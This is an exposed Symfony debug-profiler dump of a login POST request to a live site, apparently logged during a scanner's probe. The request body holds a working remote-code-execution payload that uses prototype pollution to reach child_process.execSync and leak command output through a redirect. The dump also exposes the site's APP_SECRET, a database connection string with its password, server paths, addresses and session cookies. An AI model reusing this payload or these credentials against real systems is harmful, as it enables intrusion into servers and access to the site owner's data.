Request / Response
Request
GET Parameters
No GET parameters
POST Parameters
| Key | Value |
|---|---|
| 0 | "{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});", "_chunks": "$Q2", "_formData": {"get": "$1:constructor:constructor"}}}" |
| 1 | ""$@0"" |
| 2 | "[]" |
Uploaded Files
No files were uploaded
Request Attributes
| Key | Value |
|---|---|
| _controller | "App\Controller\LoginController::index" |
| _firewall_context | "security.firewall.map.context.main" |
| _redirected | true |
| _remove_csp_headers | true |
| _route | "app_login" |
| _route_params | [] |
| _security_firewall_run | "_security_main" |
| _stopwatch_token | "34b384" |
Request Headers
| Header | Value |
|---|---|
| accept | "*/*" |
| accept-encoding | "gzip, deflate" |
| connection | "keep-alive" |
| content-length | "753" |
| content-type | "multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad" |
| cookie | "PHPSESSID=naqh8p2rfqedhmre9mpfcb7ulu; sf_redirect=%7B%22token%22%3A%22e7b53f%22%2C%22route%22%3A%22homepage%22%2C%22method%22%3A%22GET%22%2C%22controller%22%3A%7B%22class%22%3A%22App%5C%5CController%5C%5CIndexController%22%2C%22method%22%3A%22index%22%2C%22file%22%3A%22%5C%2Fvar%5C%2Fwww%5C%2Fclients%5C%2Fclient1%5C%2Fweb6%5C%2Fweb%5C%2Fsrc%5C%2FController%5C%2FIndexController.php%22%2C%22line%22%3A62%7D%2C%22status_code%22%3A302%2C%22status_text%22%3A%22Found%22%7D" |
| host | "panel.drosping.com" |
| next-action | "x" |
| user-agent | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0" |
| x-nextjs-html-request-id | "SSTMXm7OJ_g0Ncx6jpQt9" |
| x-nextjs-request-id | "b5dce965" |
| x-php-ob-level | "1" |
Request Content
Request content not available (it was retrieved as a resource).
Response
Response Headers
| Header | Value |
|---|---|
| cache-control | "no-cache, private" |
| content-type | "text/html; charset=UTF-8" |
| date | "Fri, 26 Dec 2025 08:01:54 GMT" |
| vary | "Accept" |
| x-debug-exception | "The%20key%20%22_username%22%20must%20be%20a%20string%2C%20%22NULL%22%20given." |
| x-debug-exception-file | "%2Fvar%2Fwww%2Fclients%2Fclient1%2Fweb6%2Fweb%2Fvendor%2Fsymfony%2Fsecurity-http%2FAuthenticator%2FFormLoginAuthenticator.php:127" |
| x-debug-token | "737a22" |
| x-debug-token-link | "https://panel.drosping.com/_profiler/170755" |
| x-previous-debug-token | "170755" |
| x-robots-tag | "noindex" |
Cookies
Request Cookies
| Key | Value |
|---|---|
| PHPSESSID | "naqh8p2rfqedhmre9mpfcb7ulu" |
| sf_redirect | "{"token":"e7b53f","route":"homepage","method":"GET","controller":{"class":"App\\Controller\\IndexController","method":"index","file":"\/var\/www\/clients\/client1\/web6\/web\/src\/Controller\/IndexController.php","line":62},"status_code":302,"status_text":"Found"}" |
Response Cookies
No response cookies
Session 2
Session Metadata
| Key | Value |
|---|---|
| Created | "Fri, 26 Dec 25 09:01:54 +0100" |
| Last used | "Fri, 26 Dec 25 09:01:54 +0100" |
| Lifetime | 0 |
Session Attributes
| Attribute | Value |
|---|---|
| _security.main.target_path | "https://panel.drosping.com/" |
Session Usage
2
Usages
Stateless check enabled
| Usage |
|---|
Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage:41
[
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/security-core/Authentication/Token/Storage/UsageTrackingTokenStorage.php"
"line" => 41
"function" => "getMetadataBag"
"class" => "Symfony\Component\HttpFoundation\Session\Session"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/security-http/Authentication/AuthenticatorManager.php"
"line" => 172
"function" => "getToken"
"class" => "Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/security-http/Authentication/AuthenticatorManager.php"
"line" => 158
"function" => "executeAuthenticator"
"class" => "Symfony\Component\Security\Http\Authentication\AuthenticatorManager"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/security-http/Authentication/AuthenticatorManager.php"
"line" => 140
"function" => "executeAuthenticators"
"class" => "Symfony\Component\Security\Http\Authentication\AuthenticatorManager"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/security-http/Firewall/AuthenticatorManagerListener.php"
"line" => 40
"function" => "authenticateRequest"
"class" => "Symfony\Component\Security\Http\Authentication\AuthenticatorManager"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/security-http/Authenticator/Debug/TraceableAuthenticatorManagerListener.php"
"line" => 65
"function" => "authenticate"
"class" => "Symfony\Component\Security\Http\Firewall\AuthenticatorManagerListener"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/security-bundle/Debug/WrappedLazyListener.php"
"line" => 46
"function" => "authenticate"
"class" => "Symfony\Component\Security\Http\Authenticator\Debug\TraceableAuthenticatorManagerListener"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/security-http/Firewall/AbstractListener.php"
"line" => 26
"function" => "authenticate"
"class" => "Symfony\Bundle\SecurityBundle\Debug\WrappedLazyListener"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/security-bundle/Security/LazyFirewallContext.php"
"line" => 60
"function" => "__invoke"
"class" => "Symfony\Component\Security\Http\Firewall\AbstractListener"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/security-bundle/Debug/TraceableFirewallListener.php"
"line" => 73
"function" => "__invoke"
"class" => "Symfony\Bundle\SecurityBundle\Security\LazyFirewallContext"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/security-http/Firewall.php"
"line" => 95
"function" => "callListeners"
"class" => "Symfony\Bundle\SecurityBundle\Debug\TraceableFirewallListener"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/event-dispatcher/Debug/WrappedListener.php"
"line" => 116
"function" => "onKernelRequest"
"class" => "Symfony\Component\Security\Http\Firewall"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/event-dispatcher/EventDispatcher.php"
"line" => 220
"function" => "__invoke"
"class" => "Symfony\Component\EventDispatcher\Debug\WrappedListener"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/event-dispatcher/EventDispatcher.php"
"line" => 56
"function" => "callListeners"
"class" => "Symfony\Component\EventDispatcher\EventDispatcher"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php"
"line" => 139
"function" => "dispatch"
"class" => "Symfony\Component\EventDispatcher\EventDispatcher"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/http-kernel/HttpKernel.php"
"line" => 142
"function" => "dispatch"
"class" => "Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/http-kernel/HttpKernel.php"
"line" => 74
"function" => "handleRaw"
"class" => "Symfony\Component\HttpKernel\HttpKernel"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/http-kernel/Kernel.php"
"line" => 197
"function" => "handle"
"class" => "Symfony\Component\HttpKernel\HttpKernel"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/runtime/Runner/Symfony/HttpKernelRunner.php"
"line" => 35
"function" => "handle"
"class" => "Symfony\Component\HttpKernel\Kernel"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/autoload_runtime.php"
"line" => 29
"function" => "run"
"class" => "Symfony\Component\Runtime\Runner\Symfony\HttpKernelRunner"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/public/index.php"
"line" => 5
"args" => [
"/var/www/clients/client1/web6/web/vendor/autoload_runtime.php"
]
"function" => "require_once"
]
]
|
Symfony\Component\Security\Http\Firewall\ContextListener:171
[
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/security-http/Firewall/ContextListener.php"
"line" => 171
"function" => "remove"
"class" => "Symfony\Component\HttpFoundation\Session\Session"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/event-dispatcher/Debug/WrappedListener.php"
"line" => 116
"function" => "onKernelResponse"
"class" => "Symfony\Component\Security\Http\Firewall\ContextListener"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/event-dispatcher/EventDispatcher.php"
"line" => 220
"function" => "__invoke"
"class" => "Symfony\Component\EventDispatcher\Debug\WrappedListener"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/event-dispatcher/EventDispatcher.php"
"line" => 56
"function" => "callListeners"
"class" => "Symfony\Component\EventDispatcher\EventDispatcher"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php"
"line" => 139
"function" => "dispatch"
"class" => "Symfony\Component\EventDispatcher\EventDispatcher"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/http-kernel/HttpKernel.php"
"line" => 199
"function" => "dispatch"
"class" => "Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/http-kernel/HttpKernel.php"
"line" => 250
"function" => "filterResponse"
"class" => "Symfony\Component\HttpKernel\HttpKernel"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/http-kernel/HttpKernel.php"
"line" => 89
"function" => "handleThrowable"
"class" => "Symfony\Component\HttpKernel\HttpKernel"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/http-kernel/Kernel.php"
"line" => 197
"function" => "handle"
"class" => "Symfony\Component\HttpKernel\HttpKernel"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/symfony/runtime/Runner/Symfony/HttpKernelRunner.php"
"line" => 35
"function" => "handle"
"class" => "Symfony\Component\HttpKernel\Kernel"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/vendor/autoload_runtime.php"
"line" => 29
"function" => "run"
"class" => "Symfony\Component\Runtime\Runner\Symfony\HttpKernelRunner"
"type" => "->"
]
[
"file" => "/var/www/clients/client1/web6/web/public/index.php"
"line" => 5
"args" => [
"/var/www/clients/client1/web6/web/vendor/autoload_runtime.php"
]
"function" => "require_once"
]
]
|
Flashes
Flashes
No flash messages were created.
Server Parameters
Server Parameters
Defined in .env
| Key | Value |
|---|---|
| APP_ENV | "dev" |
| APP_SECRET | "038739e60168e3b3621c43333faf3aec" |
| DATABASE_URL | "mysql://c1_panel_drosp:gqhkL4PT_@127.0.0.1:3306/c1_panel_drosp?serverVersion=10.5.19-MariaDB" |
| MESSENGER_TRANSPORT_DSN | "doctrine://default?auto_setup=0" |
Defined as regular env variables
| Key | Value |
|---|---|
| APP_DEBUG | "1" |
| CONTENT_LENGTH | "753" |
| CONTENT_TYPE | "multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad" |
| CONTEXT_DOCUMENT_ROOT | "/var/www/panel.drosping.com/web/public" |
| CONTEXT_PREFIX | "" |
| DOCUMENT_ROOT | "/var/www/panel.drosping.com/web/public" |
| FCGI_ROLE | "RESPONDER" |
| GATEWAY_INTERFACE | "CGI/1.1" |
| HOME | "/var/www/clients/client1/web6" |
| HOSTNAME | "" |
| HTTPS | "on" |
| HTTP_ACCEPT | "*/*" |
| HTTP_ACCEPT_ENCODING | "gzip, deflate" |
| HTTP_CONNECTION | "keep-alive" |
| HTTP_COOKIE | "PHPSESSID=naqh8p2rfqedhmre9mpfcb7ulu; sf_redirect=%7B%22token%22%3A%22e7b53f%22%2C%22route%22%3A%22homepage%22%2C%22method%22%3A%22GET%22%2C%22controller%22%3A%7B%22class%22%3A%22App%5C%5CController%5C%5CIndexController%22%2C%22method%22%3A%22index%22%2C%22file%22%3A%22%5C%2Fvar%5C%2Fwww%5C%2Fclients%5C%2Fclient1%5C%2Fweb6%5C%2Fweb%5C%2Fsrc%5C%2FController%5C%2FIndexController.php%22%2C%22line%22%3A62%7D%2C%22status_code%22%3A302%2C%22status_text%22%3A%22Found%22%7D" |
| HTTP_HOST | "panel.drosping.com" |
| HTTP_NEXT_ACTION | "x" |
| HTTP_USER_AGENT | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0" |
| HTTP_X_NEXTJS_HTML_REQUEST_ID | "SSTMXm7OJ_g0Ncx6jpQt9" |
| HTTP_X_NEXTJS_REQUEST_ID | "b5dce965" |
| PATH | "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" |
| PHP_SELF | "/index.php" |
| QUERY_STRING | "" |
| REDIRECT_HTTPS | "on" |
| REDIRECT_SCRIPT_URI | "https://panel.drosping.com/login" |
| REDIRECT_SCRIPT_URL | "/login" |
| REDIRECT_SSL_TLS_SNI | "panel.drosping.com" |
| REDIRECT_STATUS | "200" |
| REDIRECT_URL | "/login" |
| REMOTE_ADDR | "18.222.223.68" |
| REMOTE_PORT | "44090" |
| REQUEST_METHOD | "POST" |
| REQUEST_SCHEME | "https" |
| REQUEST_TIME | 1766736114 |
| REQUEST_TIME_FLOAT | 1766736114.6481 |
| REQUEST_URI | "/login" |
| SCRIPT_FILENAME | "/var/www/panel.drosping.com/web/public/index.php" |
| SCRIPT_NAME | "/index.php" |
| SCRIPT_URI | "https://panel.drosping.com/login" |
| SCRIPT_URL | "/login" |
| SERVER_ADDR | "38.242.212.34" |
| SERVER_ADMIN | "webmaster@panel.drosping.com" |
| SERVER_NAME | "panel.drosping.com" |
| SERVER_PORT | "443" |
| SERVER_PROTOCOL | "HTTP/1.1" |
| SERVER_SIGNATURE | "" |
| SERVER_SOFTWARE | "Apache" |
| SSL_TLS_SNI | "panel.drosping.com" |
| SYMFONY_DOTENV_VARS | "APP_ENV,APP_SECRET,DATABASE_URL,MESSENGER_TRANSPORT_DSN" |
| TEMP | "/var/www/clients/client1/web6/tmp" |
| TMP | "/var/www/clients/client1/web6/tmp" |
| TMPDIR | "/var/www/clients/client1/web6/tmp" |
| USER | "web6" |
| proxy-nokeepalive | "1" |